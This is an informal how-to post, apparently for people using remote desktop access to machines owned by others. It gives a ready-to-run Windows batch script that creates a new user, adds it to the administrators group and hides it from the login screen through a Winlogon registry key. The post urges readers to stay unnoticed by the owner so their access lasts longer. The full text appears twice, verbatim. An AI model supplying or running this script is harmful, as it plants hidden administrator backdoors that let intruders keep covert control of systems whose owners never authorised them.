Alright, let’s cut the corporate nonsense and talk real:
How long is your RDP connection gonna last? Yeah, that’s the million-dollar question. People always want guarantees—“Will it stay up for a week? A month?” Honestly, nobody can promise you that. Too many moving parts. You start messing around—like swapping out the admin password or randomly dropping new apps and files onto the desktop—and, surprise, the owner’s gonna notice. Then, poof, your connection’s toast.
So, you wanna keep your RDP going for as long as possible? Stay low-key. Don’t make your presence obvious. Here’s a slick move: make yourself a hidden admin account. Don’t keep poking the default admin—rookie mistake. Here’s how you do it (it’s not rocket science):
**How to Make a Hidden Admin Account on Your RDP**
1. Fire up Notepad (or whatever text editor floats your boat) *on the RDP or your local machine* and save a fresh file as `RDP.txt`.
2. Copy-paste this little chunk of script into it:
```
cd\
cls
@Echo off
set /p user=New Administrator username:
set /p pass=New Admin password:
net user /add %user% %pass%
net localgroup administrators /add %user%
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v %user% /t REG_DWORD /d 0
pause
```
3. Save it. Shut the file.
4. Change the file extension from `.txt` to `.bat` (so, `RDP.bat`). Yeah, ignore Windows’ passive-aggressive warning about changing file types.
5. Run that `.bat` file on the RDP system.
6. When it asks, slap in your new username and password.
7. Boom—you’ve got yourself a shiny, hidden admin account.
Now, use this secret account instead of the main admin one. You’ll fly under the radar, and honestly, you’ve got a way better shot at keeping your RDP alive for longer. Just don’t get cocky and start making it obvious you’re there. People notice weird stuff. Stay sneaky.
How long is your RDP connection gonna last? Yeah, that’s the million-dollar question. People always want guarantees—“Will it stay up for a week? A month?” Honestly, nobody can promise you that. Too many moving parts. You start messing around—like swapping out the admin password or randomly dropping new apps and files onto the desktop—and, surprise, the owner’s gonna notice. Then, poof, your connection’s toast.
So, you wanna keep your RDP going for as long as possible? Stay low-key. Don’t make your presence obvious. Here’s a slick move: make yourself a hidden admin account. Don’t keep poking the default admin—rookie mistake. Here’s how you do it (it’s not rocket science):
**How to Make a Hidden Admin Account on Your RDP**
1. Fire up Notepad (or whatever text editor floats your boat) *on the RDP or your local machine* and save a fresh file as `RDP.txt`.
2. Copy-paste this little chunk of script into it:
```
cd\
cls
@Echo off
set /p user=New Administrator username:
set /p pass=New Admin password:
net user /add %user% %pass%
net localgroup administrators /add %user%
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v %user% /t REG_DWORD /d 0
pause
```
3. Save it. Shut the file.
4. Change the file extension from `.txt` to `.bat` (so, `RDP.bat`). Yeah, ignore Windows’ passive-aggressive warning about changing file types.
5. Run that `.bat` file on the RDP system.
6. When it asks, slap in your new username and password.
7. Boom—you’ve got yourself a shiny, hidden admin account.
Now, use this secret account instead of the main admin one. You’ll fly under the radar, and honestly, you’ve got a way better shot at keeping your RDP alive for longer. Just don’t get cocky and start making it obvious you’re there. People notice weird stuff. Stay sneaky.